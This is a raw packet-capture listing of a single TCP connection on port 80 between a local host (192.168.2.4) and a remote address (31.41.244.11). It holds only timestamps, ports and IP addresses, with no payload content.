Dec 19, 2024 06:09:12.329462051 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.329514980 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.329521894 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.329571962 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.331866026 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.331928968 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.331993103 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.332048893 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.334239960 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.334305048 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.334425926 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.334486008 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.336608887 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.336675882 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.336718082 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.336771965 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.338953972 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.339024067 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.339073896 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.339144945 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.341327906 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.341388941 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.341398954 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.341454029 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.343540907 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.343600035 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.343662024 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.343714952 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.345833063 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.345891953 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.345963001 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.346018076 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.348061085 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.348124027 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.348180056 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.348232985 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.350332975 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.350390911 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.350460052 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.350565910 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.352607965 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.352665901 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.352736950 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.352787971 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.354847908 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.354907990 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.354969025 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.355025053 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.357131958 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.357192039 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.357275963 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.357331991 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.359378099 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.359431982 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.359431982 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.359482050 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.361618042 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.361680984 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.361763954 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.361860037 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.363850117 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.363917112 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.363970995 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.364028931 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.366105080 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.366164923 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.366235971 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.366291046 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.368407011 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.368480921 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.368494987 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.368573904 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.370609999 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.370666027 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.370750904 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.370810032 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.372879028 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.372936010 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.372942924 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.373039007 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.375124931 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.375185013 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.375252008 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.375308990 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.377384901 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.377444983 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.377494097 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.377549887 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.379621983 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.379688025 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.379760027 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.379815102 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.381891012 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.381953001 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.382039070 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.382100105 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.384182930 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.384241104 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.384306908 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.384407997 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.386389017 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.386447906 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.386512041 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.386570930 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.388669968 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.388731003 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.388737917 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.388792992 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.390933037 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.390996933 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.391031981 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.391087055 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.393157005 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.393214941 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.393275976 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.393332005 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.395426989 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.395483971 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.395536900 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.395637035 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.397660971 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.397723913 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.397769928 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.397838116 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.399918079 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.399981022 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.400052071 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.400099993 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.402156115 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.402214050 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.402268887 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.402321100 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.404442072 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.404499054 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.404597998 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.404654026 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.406685114 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.406748056 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.406816959 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.406914949 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.408942938 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.409002066 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.409074068 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.409132004 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.411212921 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.411367893 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.411370039 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.411416054 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.485867977 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.486063957 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.486104012 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.486164093 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.486665010 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.486731052 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.486742020 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.486792088 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.488347054 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.488406897 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.488477945 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.488531113 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.490046978 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.490104914 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.490108967 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.490154028 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.491678953 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.491741896 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.491813898 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.491872072 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.493314028 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.493372917 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.493438959 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.493494987 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.494940996 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.495002031 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.495073080 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.495131969 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.496570110 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.496629953 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.496766090 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.496819019 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.498123884 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.498183966 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.498222113 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.498275995 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.499649048 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.499710083 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.499726057 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.499790907 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.501256943 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.501315117 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.501327991 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.501385927 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.502810955 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.502870083 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.502882957 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.502935886 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.504266977 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.504328012 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.504400015 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.504455090 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.505857944 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.505896091 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.505913973 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.505964994 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.507287979 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.507421970 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.507488966 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.507544994 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.508748055 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.508802891 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.508862019 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.508917093 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.510227919 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.510288000 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.510349989 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.510401011 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.511691093 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.511758089 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.511810064 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.511868000 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.513129950 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.513190985 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.513245106 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.513303041 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.514597893 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.514657974 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.514755011 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.514806032 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.515993118 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.516053915 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.516113997 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.516168118 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.517481089 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.517541885 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.517580032 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.517637968 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.518841982 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.518899918 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.518965006 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.519033909 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.520226002 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.520278931 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.520404100 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.520462036 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.521605015 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.521657944 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.521658897 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.521711111 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.522984982 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.523046017 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.523103952 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.523159027 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.524344921 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.524399996 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.524471045 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.524525881 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.525757074 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.525816917 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.525912046 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.525964975 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.527101994 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.527157068 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.527190924 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.527246952 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.528448105 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.528508902 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.528553963 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.528608084 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.529756069 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.529807091 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.529871941 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.529937983 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.531089067 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.531222105 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.531302929 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.532453060 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.532500982 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.532500982 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.532565117 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.532622099 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.533762932 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.533821106 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.533891916 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.533946037 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.535073996 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.535130024 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.535207987 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.535263062 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.536413908 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.536473989 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.536732912 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.536793947 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.537729979 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.537787914 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.537844896 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.537900925 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.539042950 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.539146900 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.539232016 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.539294004 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.541384935 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.541445017 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.541513920 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.541568041 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.541635990 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.541692972 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.541747093 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.541801929 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.542979956 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.543040037 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.543109894 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.543165922 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.544328928 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.544389009 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.544456959 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.544511080 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.545614958 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.545670033 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.545727968 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.545783043 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.546924114 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.546986103 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.547044992 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.547113895 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.548244953 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.548300982 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.548365116 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.548419952 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.549535036 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.549643993 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.549686909 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.549742937 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.550868988 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.550923109 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.551007032 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.551064014 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.552195072 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.552253962 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.552304029 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.552359104 CET	49763	80	192.168.2.4	31.41.244.11
